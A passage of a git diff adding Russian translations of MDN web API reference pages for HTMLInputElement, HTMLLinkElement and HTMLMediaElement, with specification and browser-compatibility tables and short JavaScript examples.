{{SpecName('HTML WHATWG', "tthe-input-element.html#the-input-element", "HTMLInputElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}
{{SpecName('HTML5 W3C', "forms.html#the-input-element", "HTMLInputElement")}}{{Spec2('HTML5 W3C')}}Technically, the  tabindex and accesskey properties, as well as the blur(), click(), and focus() methods, are now defined on {{domxref("HTMLElement")}}.
+ The following properties are now obsolete: align and useMap.
+ The following properties have been added: autocomplete, autofocus, dirName, files, formAction, formEncType, formMethod, formNoValidate, formTarget, height, indeterminate, labels, list, max, min, multiple, pattern, placeholder, required, selectionDirection, selectionEnd, selectionStart, step, validationMessage, validity, valueAsDate, valueAsNumber, width, and willValidate.
+ The following methods have been added: checkValidity(), setCustomValidity(), setSelectionRange(), stepUp(), and stepDown().
{{SpecName('DOM2 HTML', 'html.html#ID-6043025', 'HTMLInputElement')}}{{Spec2('DOM2 HTML')}}The size property is now an unsigned long. The type property must be entirely given in lowercase characters.
{{SpecName('DOM1', 'level-one-html.html#ID-6043025', 'HTMLInputElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
autocomplete & autofocus properties{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
files property{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.9)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
multiple property{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.2")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
indeterminate property{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
list property{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
formAction, formEncType, formMethod, formTarget properties{{CompatVersionUnknown}}{{CompatGeckoDesktop(2)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
formNoValidate, validationMessage, validity, willValidate properties and setCustomValidity() and checkValidity() methods.{{CompatVersionUnknown}}{{CompatGeckoDesktop(2)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
pattern, placeholder, required properties{{CompatVersionUnknown}}{{CompatGeckoDesktop(2)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
height and weight properties{{CompatVersionUnknown}}{{CompatGeckoDesktop(16)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
labels property{{CompatChrome(14.0)}}{{CompatNo}} ({{bug("556743")}}){{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
min, max, and step for <input type="number">{{CompatVersionUnknown}}Experimental, and without specific UI, since {{CompatGeckoDesktop(16)}}: behind the pref dom.experimental_forms{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
stepUp and stepDown methods{{CompatUnknown}}Experimental since {{CompatGeckoDesktop(16)}}: behind the pref dom.experimental_forms
+
+ There are still differences with the latest spec: {{bug(835773)}}		{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
min, max, and step properties for <input type="range">{{CompatVersionUnknown}}{{CompatGeckoDesktop(23)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
min, max, and step properties for <input type="date">{{CompatVersionUnknown}}Experimental, and without specific UI, since {{CompatGeckoDesktop(20)}}: behind the pref dom.experimental_forms{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
min, max, and step properties for other date-related type values{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
mozGetFileNameArray() and mozSetFileNameArray() methods {{non-standard_inline}}{{CompatNo}}{{CompatGeckoDesktop("1.9.2")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
mozSetFileArray() method {{non-standard_inline}}{{CompatNo}}{{CompatGeckoDesktop("38")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
autocapitalize{{CompatChrome(43.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
autocapitalize{{CompatNo}}{{CompatChrome(43.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(43.0)}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/htmlinputelement/invalid_event/index.html b/files/ru/web/api/htmlinputelement/invalid_event/index.html new file mode 100644 index 0000000000..505161cf4d --- /dev/null +++ b/files/ru/web/api/htmlinputelement/invalid_event/index.html @@ -0,0 +1,56 @@ +--- +title: invalid +slug: Web/API/HTMLInputElement/invalid_event +translation_of: Web/API/HTMLInputElement/invalid_event +--- +

Событие invalid запускается, когда отправляемый элемент был проверен, но его содержимое не удовлетворило установленные ограничения. Валидность отправляемого элемента проверяется до отправления формы или после вызова метода  checkValidity()на элементе.

+ +

Общая информация

+ +
+
Спецификаця
+
HTML5
+
Взаимодействие {{domxref("Event")}}
+
Всплытия
+
Нет
+
Отменяемый
+
Да
+
Цель
+
Элемент
+
Действие по умолчанию
+
Может препятствовать отправке формы.
+
+ +

Свойства

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
diff --git a/files/ru/web/api/htmlinputelement/setselectionrange/index.html b/files/ru/web/api/htmlinputelement/setselectionrange/index.html new file mode 100644 index 0000000000..fec7276464 --- /dev/null +++ b/files/ru/web/api/htmlinputelement/setselectionrange/index.html @@ -0,0 +1,174 @@ +--- +title: HTMLInputElement.setSelectionRange() +slug: Web/API/HTMLInputElement/setSelectionRange +tags: + - API + - HTML DOM + - HTMLInputElement + - Method + - Reference + - Text Field Selection API +translation_of: Web/API/HTMLInputElement/setSelectionRange +--- +
{{APIRef("HTML DOM")}}
+ +

Метод HTMLInputElement.setSelectionRange() устанавливает начальное и конечное положение выделения текста в элементе {{HTMLElement("input")}}.

+ +

В более новых версиях браузеров, можно дополнительно установить направление выделения текста, что позволит, например, определить, что выделение сделано нажатием и перетаскиванием курсора мыши от конца выделенного текста до начала.

+ +

Этот метод позволяет одним вызовом обновить свойства HTMLInputElement.selectionStart, selectionEnd, и selectionDirection.

+ +

Синтаксис

+ +
inputElement.setSelectionRange(selectionStart, selectionEnd, [optional] selectionDirection);
+
+ +

Параметры

+ +
+
selectionStart
+
Индекс первого выделенного символа.
+
selectionEnd
+
Индекс символа после последнего выделенного символа.
+
selectionDirection {{optional_inline}}
+
Строка, определяющая направления произведенного выделения. Принимаются значения "forward", "backward" или "none", если направление выделение неизвество или неважно.
+
+ +

Пример

+ +

Следующий код:

+ +
<!DOCTYPE html>
+<html>
+<head>
+<meta charset=utf-8>
+<title>JS Bin</title>
+<script>
+function SelectText () {
+        var input = document.getElementById("mytextbox");
+            input.focus();
+            input.setSelectionRange(2,5);
+}
+</script>
+</head>
+<body>
+  <p><input type="text" id="mytextbox" size="20" value="Mozilla"/></p>
+  <p><button onclick="SelectText()">Select text</button></p>
+</body>
+</html>
+
+ +

приведет к следующему результату:

+ +

example.png

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName("HTML WHATWG", "forms.html#dom-textarea/input-setselectionrange", "HTMLInputElement.setSelectionRange")}}{{Spec2("HTML WHATWG")}}Без изменений
{{SpecName("HTML5.1", "forms.html#dom-textarea/input-setselectionrange" , "HTMLInputElement.setSelectionRange" )}}{{Spec2("HTML5.1")}}Без изменений
{{SpecName("HTML5 W3C", "forms.html#dom-textarea/input-setselectionrange" , "HTMLInputElement.setSelectionRange" )}}{{Spec2("HTML5 W3C")}}Изначальное определение
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка1.0{{CompatGeckoDesktop("1.0")}}98.0{{CompatVersionUnknown}}
selectionDirection15[1]{{CompatGeckoDesktop("8.0")}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}[3]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
selectionDirection{{CompatUnknown}}{{CompatGeckoMobile("8.0")}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Поддержка selectionDirection была добавлена Blink в {{WebkitBug("60403")}}.

+ +

Требуется отметить, что согласно спецификации WHATWG forms свойства selectionStart, selectionEnd и метод setSelectionRange применяются только к элементам input c типами text, search, URL, tel и password. Начиная с версии 33, Chrome, выдает исключение во время попытки доступа к этим свойствам и методу на других типах элемента input. Например, для элемента input типа number появится исключение с сообщением: "Failed to read the 'selectionStart' property from 'HTMLInputElement': The input element's type ('number') does not support selection." Ссылки по теме: вопрос на StackOverflow, whatwg баг, Chromium баг.

+ +

[2] Поддержка selectionDirection была добавлена в Gecko в {{bug("674558")}}.

+ +

[3] Поддержка selectionDirection была добавлена в Webkit в {{WebKitBug("60403")}}.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmllinkelement/index.html b/files/ru/web/api/htmllinkelement/index.html new file mode 100644 index 0000000000..6b75f0682a --- /dev/null +++ b/files/ru/web/api/htmllinkelement/index.html @@ -0,0 +1,118 @@ +--- +title: HTMLLinkElement +slug: Web/API/HTMLLinkElement +translation_of: Web/API/HTMLLinkElement +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

Интерфейс HTMLLinkElement представляет справочную информацию для внешних ресурсов и отношение этих ресурсов к документу и наоборот (соответствует элементу <link>; не путать с <a>, который представлен элементом HTMLAnchorElement). Этот объект наследует все свойства и методы интерфейса {{domxref("HTMLElement")}}.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Свойства

+ +

Наследует свойства от своего родителя, {{domxref("HTMLElement")}}, и {{domxref("LinkStyle")}}.

+ +
+
+
{{domxref("HTMLLinkElement.as")}}
+
Это {{domxref("DOMString")}} представляющий тип контента загружаемый по HTML ссылке.
+
{{domxref("HTMLLinkElement.crossOrigin")}} {{experimental_inline}}
+
Is a {{domxref("DOMString")}} that corresponds to the CORS setting for this link element. See CORS settings attributes for details.
+
{{domxref("HTMLLinkElement.disabled")}}
+
Is a Boolean which represents whether the link is disabled; currently only used with style sheet links.
+
{{domxref("HTMLLinkElement.href")}}
+
Is a {{domxref("DOMString")}} representing the URI for the target resource.
+
{{domxref("HTMLLinkElement.hreflang")}}
+
Is a {{domxref("DOMString")}} representing the language code for the linked resource.
+
{{domxref("HTMLLinkElement.media")}}
+
Is a {{domxref("DOMString")}} representing a list of one or more media formats to which the resource applies.
+
{{domxref("HTMLLinkElement.referrerPolicy")}} {{experimental_inline}}
+
Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("referrerpolicy", "link")}} HTML attribute indicating which referrer to use.
+
{{domxref("HTMLLinkElement.rel")}}
+
Is a {{domxref("DOMString")}} representing the forward relationship of the linked resource from the document to the resource.
+
{{domxref("HTMLLinkElement.relList")}} {{readonlyInline}}
+
Is a {{domxref("DOMTokenList")}} that reflects the {{htmlattrxref("rel", "link")}} HTML attribute, as a list of tokens.
+
{{domxref("HTMLLinkElement.sizes")}} {{readonlyInline}}
+
Is a {{domxref("DOMSettableTokenList")}} that reflects the {{htmlattrxref("sizes", "link")}} HTML attribute, as a list of tokens.
+
{{domxref("LinkStyle.sheet")}} {{readonlyInline}}
+
Returns the {{domxref("StyleSheet")}} object associated with the given element, or null if there is none.
+
{{domxref("HTMLLinkElement.type")}}
+
Is a {{domxref("DOMString")}} representing the MIME type of the linked resource.
+
+ +

Устаревшие свойства

+ +
+
{{domxref("HTMLLinkElement.charset")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} representing the character encoding for the target resource.
+
{{domxref("HTMLLinkElement.rev")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} representing the reverse relationship of the linked resource from the resource to the document. +
Примечание: Currently the W3C HTML 5.2 spec states that rev is no longer obsolete, whereas the WHATWG living standard still has it labeled obsolete. Until this discrepancy is resolved, you should still assume it is obsolete.
+
+
{{domxref("HTMLLinkElement.target")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} representing the name of the target frame to which the resource applies.
+
+ +

Методы

+ +

Не имеет методов; наследует методы от своего родителя, {{domxref("HTMLElement")}}, и {{domxref("LinkStyle")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Preload")}}{{Spec2("Preload")}}Defines <link rel="preload">, and the as property. Note that currently Firefox only supports preloading of cacheable resources.
{{SpecName('HTML WHATWG', "#htmllinkelement", "HTMLLinkElement")}}{{Spec2('HTML WHATWG')}}Adds the following properties: crossOrigin, referrerPolicy, and as.
{{SpecName('HTML5.1', "document-metadata.html#the-link-element", "HTMLLinkElement")}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', "document-metadata.html#the-link-element", "HTMLLinkElement")}}{{Spec2('HTML5 W3C')}}The following properties are now obsolete: charset, rev, and shape.
+ The following properties have been added: relList, and sizes.
{{SpecName('DOM2 HTML', 'html.html#ID-35143001', 'HTMLLinkElement')}}{{Spec2('DOM2 HTML')}}Added a second inheritence, the {{domxref("LinkStyle")}} interface.
{{SpecName('DOM1', 'level-one-html.html#ID-35143001', 'HTMLLinkElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Совместимость браузера

+ +
+ + +

{{Compat("api.HTMLLinkElement")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlmediaelement/abort_event/index.html b/files/ru/web/api/htmlmediaelement/abort_event/index.html new file mode 100644 index 0000000000..80743cabc6 --- /dev/null +++ b/files/ru/web/api/htmlmediaelement/abort_event/index.html @@ -0,0 +1,80 @@ +--- +title: 'HTMLMediaElement: abort event' +slug: Web/API/HTMLMediaElement/abort_event +translation_of: Web/API/HTMLMediaElement/abort_event +--- +
{{APIRef}}
+ +

Событие abort запускается, когда ресурс не был полностью загружен, но не в результате ошибки.

+ + + + + + + + + + + + + + + + + + + + +
ВсплываемостьNo
ОтменяемостьNo
Интерфейс{{domxref("Event")}}
Свойство обработчика событий{{domxref("GlobalEventHandlers/onabort", "onabort")}}
+ +

Примеры

+ +
const video = document.querySelector('video');
+const videoSrc = 'https://path/to/video.webm';
+
+video.addEventListener('abort', () => {
+  console.log(`Abort loading: ${videoSrc}`);
+});
+
+const source = document.createElement('source');
+source.setAttribute('src', videoSrc);
+source.setAttribute('type', 'video/webm');
+
+video.appendChild(source);
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', "media.html#event-media-abort")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#event-media-abort")}}{{Spec2('HTML5 W3C')}}
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.HTMLMediaElement.abort_event")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/htmlmediaelement/duration/index.html b/files/ru/web/api/htmlmediaelement/duration/index.html new file mode 100644 index 0000000000..ec667078a9 --- /dev/null +++ b/files/ru/web/api/htmlmediaelement/duration/index.html @@ -0,0 +1,56 @@ +--- +title: HTMLMediaElement.duration +slug: Web/API/HTMLMediaElement/duration +translation_of: Web/API/HTMLMediaElement/duration +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLMediaElement.duration свойство возвращает длину медиа в секундах или ноль, если данные по медиа недоступны.

+ +

Синтаксис

+ +
var myDuration = audioOrVideo.duration
+ +

Значения

+ +

Double. Если медиа данные доступны, но длина неизвестна, то duration будет NaN. Если медиа загружается в фоновом режиме и не имеет заранее определенной длины, значение равно Inf.

+ +

Пример

+ +
var obj = document.createElement('video');
+console.log(obj.duration); // NaN
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-media-duration", "HTMLMediaElement.duration")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.duration")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLMediaElement.duration")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlmediaelement/index.html b/files/ru/web/api/htmlmediaelement/index.html new file mode 100644 index 0000000000..f5524d3040 --- /dev/null +++ b/files/ru/web/api/htmlmediaelement/index.html @@ -0,0 +1,294 @@ +--- +title: HTMLMediaElement +slug: Web/API/HTMLMediaElement +tags: + - API + - DOM + - HTML + - HTMLMediaElement + - Media + - NeedsNewLayout + - NeedsTranslation + - TopicStub + - Интерфейс + - Ссылка +translation_of: Web/API/HTMLMediaElement +--- +
{{APIRef("HTML DOM")}}
+ +

Интерфейс HTMLMediaElement добавляет к {{domxref ("HTMLElement")}} свойства и методы, необходимые для поддержки базовых мультимедийных возможностей, общих для аудио и видео. Элементы {{domxref ("HTMLVideoElement")}} и {{domxref ("HTMLAudioElement")}} наследуют этот интерфейс.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Свойства

+ +

Этот интерфейс также наследует свойства от своих предков {{domxref ("HTMLElement")}}, {{domxref ("Element")}}, {{domxref ("Node")}} и {{domxref ("EventTarget") }}.

+ +
+
{{domxref("HTMLMediaElement.audioTracks")}}
+
{{Domxref ("AudioTrackList")}}, в котором перечислены объекты {{domxref ("AudioTrack")}}, содержащиеся в элементе.
+
{{domxref("HTMLMediaElement.autoplay")}}
+
{{Jsxref ("Boolean")}}, который отражает атрибут HTML {{htmlattrxref ("autoplay", "video")}}, указывающий, должно ли воспроизведение начинаться автоматически, как только будет доступно достаточно медиафайлов, чтобы сделать это без прерывания. +
Примечание. Сайты, которые автоматически воспроизводят аудио (или видео с аудиодорожкой), могут быть неприятными для пользователей, поэтому их следует по возможности избегать. Если вы должны предлагать функцию автозапуска, вы должны включить ее (требуется, чтобы пользователь специально включил ее). Однако это может быть полезно при создании элементов мультимедиа, источник которых будет установлен позднее под контролем пользователя.
+
+
{{domxref("HTMLMediaElement.buffered")}} {{readonlyinline}}
+
Возвращает объект {{domxref ("TimeRanges")}}, который указывает диапазоны медиаисточника, который браузер буферизировал (если есть) в момент обращения к свойству buffered.
+
{{domxref("HTMLMediaElement.controller")}}
+
Объект {{domxref ("MediaController")}}, представляющий медиа-контроллер, назначенный элементу, либо null, если ни один не назначен.
+
{{domxref("HTMLMediaElement.controls")}}
+
Является {{jsxref ('Boolean')}}, который отражает атрибут HTML {{htmlattrxref ("controls", "video")}}, указывающий, должны ли отображаться элементы пользовательского интерфейса для управления ресурсом.
+
{{domxref("HTMLMediaElement.controlsList")}} {{readonlyinline}}
+
Возвращает {{domxref ("DOMTokenList")}}, который помогает агенту пользователя выбирать элементы управления для отображения на элементе мультимедиа всякий раз, когда агент пользователя показывает свой собственный набор элементов управления. DOMTokenList принимает одно или несколько из трех возможных значений: nodownload, nofullscreen и noremoteplayback.
+
{{domxref("HTMLMediaElement.crossOrigin")}}
+
{{Domxref ("DOMString")}}, указывающий настройку CORS для этого медиаэлемента.
+
{{domxref("HTMLMediaElement.currentSrc")}} {{readonlyinline}}
+
Возвращает {{domxref ("DOMString")}} с абсолютным URL-адресом выбранного медиа-ресурса.
+
{{domxref("HTMLMediaElement.currentTime")}}
+
Двойное значение, обозначающее текущее время воспроизведения в секундах. Установка этого значения ищет носитель в новое время.
+
{{domxref("HTMLMediaElement.defaultMuted")}}
+
Является {{jsxref ('Boolean')}}, который отражает атрибут HTML {{htmlattrxref ("muted", "video")}}, который указывает, должен ли звук вывода медиа-элемента по умолчанию отключаться.
+
{{domxref("HTMLMediaElement.defaultPlaybackRate")}}
+
Двойное значение, обозначающее скорость воспроизведения по умолчанию для мультимедиа.
+
{{domxref("HTMLMediaElement.disableRemotePlayback")}}
+
{{Jsxref ('Boolean')}}, который устанавливает или возвращает состояние удаленного воспроизведения, указывая, разрешено ли медиаэлементу иметь удаленный пользовательский интерфейс воспроизведения.
+
{{domxref("HTMLMediaElement.duration")}} {{readonlyinline}}
+
Возвращает значение типа double, указывающее длину носителя в секундах, или 0, если данные носителя отсутствуют.
+
{{domxref("HTMLMediaElement.ended")}} {{readonlyinline}}
+
Возвращает {{jsxref ('Boolean')}}, который указывает, закончил ли воспроизведение медиа-элемент.
+
{{domxref("HTMLMediaElement.error")}} {{readonlyinline}}
+
Возвращает объект {{domxref ("MediaError")}} для самой последней ошибки или null, если ошибки не было.
+
{{domxref("HTMLMediaElement.loop")}}
+
Является {{jsxref ('Boolean')}}, который отражает атрибут HTML {{htmlattrxref ("loop", "video")}}, который указывает, должен ли медиа-элемент начинаться сначала, когда он достигает конца.
+
{{domxref("HTMLMediaElement.mediaGroup")}}
+
Это {{domxref ("DOMString")}}, который отражает атрибут HTML {{htmlattrxref ("mediagroup", "video")}}, который указывает имя группы элементов, к которой он принадлежит. Группа медиа-элементов имеет общий {{domxref ('MediaController')}}.
+
{{domxref("HTMLMediaElement.mediaKeys")}} {{readonlyinline}} {{experimental_inline}}
+
Возвращает объект {{domxref ("MediaKeys")}} или ноль. MediaKeys - это набор ключей, которые связанный HTMLMediaElement может использовать для дешифрования мультимедийных данных во время воспроизведения.
+
{{domxref("HTMLMediaElement.mozAudioCaptured")}} {{readonlyinline}} {{non-standard_inline}}
+
Возвращает {{jsxref ('Boolean')}}. Связанный с захватом аудиопотока.
+
{{domxref("HTMLMediaElement.mozFragmentEnd")}} {{non-standard_inline}}
+
Двойник, обеспечивающий доступ к времени окончания фрагмента, если медиа-элемент имеет URI-фрагмент для currentSrc, в противном случае он равен продолжительности медиа.
+
{{domxref("HTMLMediaElement.mozFrameBufferLength")}} {{non-standard_inline}} {{deprecated_inline}}
+
+

Это unsigned long, который указывает число выборок, которые будут возвращены в кадровом буфере каждого события MozAudioAvailable. Это число является общим для всех каналов, и по умолчанию установлено количество каналов * 1024 (например, 2 канала * 1024 выборок = всего 2048).

+ +

Для свойства mozFrameBufferLength может быть установлено новое значение для более низкой задержки, больших объемов данных и т. Д. Указанный размер должен быть числом от 512 до 16384. Использование любого другого размера приводит к возникновению исключения. Лучшее время для установки новой длины - после того, как сработало событие загруженных метаданных, когда известна аудиоинформация, но до того, как аудио началось, или события MozAudioAvailable начали срабатывать.

+
+
{{domxref("HTMLMediaElement.mozSampleRate")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}
+
Возвращает двойное число, представляющее количество семплов в секунду, которые будут воспроизведены. Например, 44100 выборок в секунду - это частота дискретизации, используемая аудио CD.
+
{{domxref("HTMLMediaElement.muted")}}
+
{{Jsxref ('Boolean')}}, определяющий, отключен ли звук. true, если звук отключен, и false в противном случае.
+
{{domxref("HTMLMediaElement.networkState")}} {{readonlyinline}}
+
Возвращает unsigned short (перечисление), указывающее текущее состояние выборки мультимедиа по сети.
+
{{domxref("HTMLMediaElement.paused")}} {{readonlyinline}}
+
Возвращает {{jsxref ('Boolean')}}, который указывает, приостановлен ли медиа-элемент.
+
{{domxref("HTMLMediaElement.playbackRate")}}
+
Двойное число, указывающее скорость воспроизведения мультимедиа.
+
{{domxref("HTMLMediaElement.played")}} {{readonlyinline}}
+
Возвращает объект {{domxref ('TimeRanges')}}, который содержит диапазоны медиаисточников, которые воспроизводил браузер, если таковые имеются.
+
{{domxref("HTMLMediaElement.preload")}}
+
Это {{domxref ("DOMString")}}, который отражает атрибут HTML {{htmlattrxref ("preload", "video")}}, указывающий, какие данные должны быть предварительно загружены, если таковые имеются. Возможные значения: none, metadata, auto.
+
{{domxref("HTMLMediaElement.preservesPitch")}} {{non-standard_inline}}
+
Является {{jsxref ('Boolean')}}, который определяет, будет ли сохранена высота звука. Если установлено значение false, высота звука будет регулироваться в зависимости от скорости звука. Это реализовано с помощью префиксов в Firefox (mozPreservedPitch) и WebKit (webkitPreservedPitch).
+
{{domxref("HTMLMediaElement.readyState")}} {{readonlyinline}}
+
Возвращает unsigned short (перечисление), указывающее состояние готовности носителя.
+
{{domxref("HTMLMediaElement.seekable")}} {{readonlyinline}}
+
Возвращает объект {{domxref ('TimeRanges')}}, который содержит временные диапазоны, к которым пользователь может обращаться, если таковые имеются.
+
{{domxref("HTMLMediaElement.seeking")}} {{readonlyinline}}
+
Возвращает {{jsxref ('Boolean')}}, который указывает, находится ли медиа в процессе поиска новой позиции.
+
{{domxref("HTMLMediaElement.sinkId")}} {{readonlyinline}} {{experimental_inline}}
+
Возвращает {{domxref ("DOMString")}}, который является уникальным идентификатором аудиоустройства, предоставляющего выходные данные, или пустую строку, если используется пользовательский агент по умолчанию. Этот идентификатор должен быть одним из значений MediaDeviceInfo.deviceid, возвращаемых из {{domxref ("MediaDevices.enumerateDevices ()")}}, id-multimedia или id-communications.
+
{{domxref("HTMLMediaElement.src")}}
+
Это {{domxref ("DOMString")}}, который отражает атрибут HTML {{htmlattrxref ("src", "video")}}, который содержит URL-адрес используемого медиа-ресурса.
+
{{domxref("HTMLMediaElement.srcObject")}}
+
{{Domxref ('MediaStream')}}, представляющий медиафайл для воспроизведения или воспроизведенный в текущем HTMLMediaElement, или null, если не назначен.
+
{{domxref("HTMLMediaElement.textTracks")}} {{readonlyinline}}
+
Возвращает список объектов {{domxref ("TextTrack")}}, содержащихся в элементе.
+
{{domxref("HTMLMediaElement.videoTracks")}} {{readonlyinline}}
+
Возвращает список объектов {{domxref ("VideoTrack")}}, содержащихся в элементе. +
+

Gecko поддерживает воспроизведение только одной дорожки, а разбор метаданных дорожек доступен только для носителей с форматом контейнера Ogg.

+
+
+
{{domxref("HTMLMediaElement.volume")}}
+
Двойной показатель громкости звука, от 0,0 (тихий) до 1,0 (самый громкий).
+
+ +

Обработчики событий

+ +
+
{{domxref("HTMLMediaElement.onencrypted")}}
+
Устанавливает {{domxref ('Event Handler')}}, вызываемый, когда носитель зашифрован.
+
{{domxref("HTMLMediaElement.onwaitingforkey")}}
+
Устанавливает {{domxref ('EventHandler')}}, вызываемый, когда воспроизведение заблокировано во время ожидания ключа шифрования.
+
+ +

Устаревшие атрибуты

+ +

Эти атрибуты устарели и не должны использоваться, даже если браузер все еще поддерживает их.

+ +
+
{{domxref("HTMLMediaElement.initialTime")}} {{readonlyinline}} {{non-standard_inline}} {{obsolete_inline}}
+
Возвращает значение типа double, указывающее начальную позицию воспроизведения в секундах.
+
{{domxref("HTMLMediaElement.mozChannels")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}
+
Возвращает значение типа double, представляющее количество каналов в аудиоресурсе (например, 2 для стерео).
+
+ +

Устаревшие обработчики событий

+ +
+
{{domxref("HTMLMediaElement.onmozinterruptbegin")}} {{non-standard_inline}} {{obsolete_inline}}
+
Устанавливает {{domxref ("EventHandler")}}, вызываемый, когда медиа-элемент прерывается из-за менеджера аудио-каналов. Это было специфично для Firefox, оно было реализовано для Firefox OS и было удалено в Firefox 55.
+
{{domxref("HTMLMediaElement.onmozinterruptend")}} {{non-standard_inline}} {{obsolete_inline}}
+
Устанавливает {{domxref ('Event Handler')}}, вызываемый при завершении прерывания. Это было специфично для Firefox, оно было реализовано для Firefox OS и было удалено в Firefox 55.
+
+ +

Методы

+ +

Этот интерфейс также наследует методы от своих предков {{domxref ("HTMLElement")}}, {{domxref ("Element")}}, {{domxref ("Node")}} и {{domxref ("EventTarget") }}.

+ +
+
{{domxref("HTMLMediaElement.addTextTrack()")}}
+
Добавляет текстовую дорожку (например, дорожку для субтитров) к элементу мультимедиа.
+
{{domxref("HTMLMediaElement.captureStream()")}} {{experimental_inline}}
+
Возвращает {{domxref ("MediaStream")}}, захватывает поток медиа-контента.
+
{{domxref("HTMLMediaElement.canPlayType()")}}
+
Определяет, может ли указанный тип носителя воспроизводиться.
+
{{domxref("HTMLMediaElement.fastSeek()")}}
+
Прямо стремится к данному времени.
+
{{domxref("HTMLMediaElement.load()")}}
+
Сбрасывает носитель в начало и выбирает наилучший из доступных источников из источников, предоставленных с использованием атрибута {{htmlattrxref ("src", "video")}} или элемента {{HTMLElement ("source")}}.
+
